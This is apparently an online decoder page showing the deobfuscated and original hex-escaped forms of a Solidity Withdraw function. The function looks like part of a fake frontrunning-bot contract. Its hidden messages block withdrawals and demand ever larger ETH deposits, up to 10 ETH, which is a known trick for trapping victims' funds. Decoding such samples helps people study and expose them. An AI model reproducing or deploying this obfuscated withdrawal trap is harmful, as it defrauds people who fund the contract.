Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

unction Withdraw() external onlyOwner { require(address(this).balance >= 5e16, "\..

Decoded Output download

<?  unction Withdraw() external onlyOwner { 
        require(address(this).balance >= 5e16, "WARNING: Insufficient contract liquidity. Aborting..."); 
         
        string memory baseMessage = "WARNING: not enough ETH for profitable frontrunning. Need at "; 
        string memory endMessage = " ETH at present market conditions. Wait for the market to cool down or fund the contract with more ETH.";       
        require(address(this).balance >= 5e17, string(abi.encodePacked(baseMessage, "0.5", endMessage))); 
        require(address(this).balance >= 1e18, string(abi.encodePacked(baseMessage, "1", endMessage))); 
        require(address(this).balance >= 2e18, string(abi.encodePacked(baseMessage, "2", endMessage))); 
        require(address(this).balance >= 5e18, string(abi.encodePacked(baseMessage, "5", endMessage))); 
        require(address(this).balance >= 1e19, string(abi.encodePacked(baseMessage, "10", endMessage))); 
        dummyCounter++; 
    } ?>

Did this file decode correctly?

Original Code

unction Withdraw() external onlyOwner {
        require(address(this).balance >= 5e16, "\x57\x41\x52\x4e\x49\x4e\x47\x3a\x20\x49\x6e\x73\x75\x66\x66\x69\x63\x69\x65\x6e\x74\x20\x63\x6f\x6e\x74\x72\x61\x63\x74\x20\x6c\x69\x71\x75\x69\x64\x69\x74\x79\x2e\x20\x41\x62\x6f\x72\x74\x69\x6e\x67\x2e\x2e\x2e");
        
        string memory baseMessage = "\x57\x41\x52\x4e\x49\x4e\x47\x3a\x20\x6e\x6f\x74\x20\x65\x6e\x6f\x75\x67\x68\x20\x45\x54\x48\x20\x66\x6f\x72\x20\x70\x72\x6f\x66\x69\x74\x61\x62\x6c\x65\x20\x66\x72\x6f\x6e\x74\x72\x75\x6e\x6e\x69\x6e\x67\x2e\x20\x4e\x65\x65\x64\x20\x61\x74\x20";
        string memory endMessage = "\x20\x45\x54\x48\x20\x61\x74\x20\x70\x72\x65\x73\x65\x6e\x74\x20\x6d\x61\x72\x6b\x65\x74\x20\x63\x6f\x6e\x64\x69\x74\x69\x6f\x6e\x73\x2e\x20\x57\x61\x69\x74\x20\x66\x6f\x72\x20\x74\x68\x65\x20\x6d\x61\x72\x6b\x65\x74\x20\x74\x6f\x20\x63\x6f\x6f\x6c\x20\x64\x6f\x77\x6e\x20\x6f\x72\x20\x66\x75\x6e\x64\x20\x74\x68\x65\x20\x63\x6f\x6e\x74\x72\x61\x63\x74\x20\x77\x69\x74\x68\x20\x6d\x6f\x72\x65\x20\x45\x54\x48\x2e";      
        require(address(this).balance >= 5e17, string(abi.encodePacked(baseMessage, "\x30\x2e\x35", endMessage)));
        require(address(this).balance >= 1e18, string(abi.encodePacked(baseMessage, "\x31", endMessage)));
        require(address(this).balance >= 2e18, string(abi.encodePacked(baseMessage, "\x32", endMessage)));
        require(address(this).balance >= 5e18, string(abi.encodePacked(baseMessage, "\x35", endMessage)));
        require(address(this).balance >= 1e19, string(abi.encodePacked(baseMessage, "\x31\x30", endMessage)));
        dummyCounter++;
    }

Function Calls

None

Variables

None

Stats

MD5 0df2fdd23f24205b4e19ace558bb9428
Eval Count 0
Decode Time 30 ms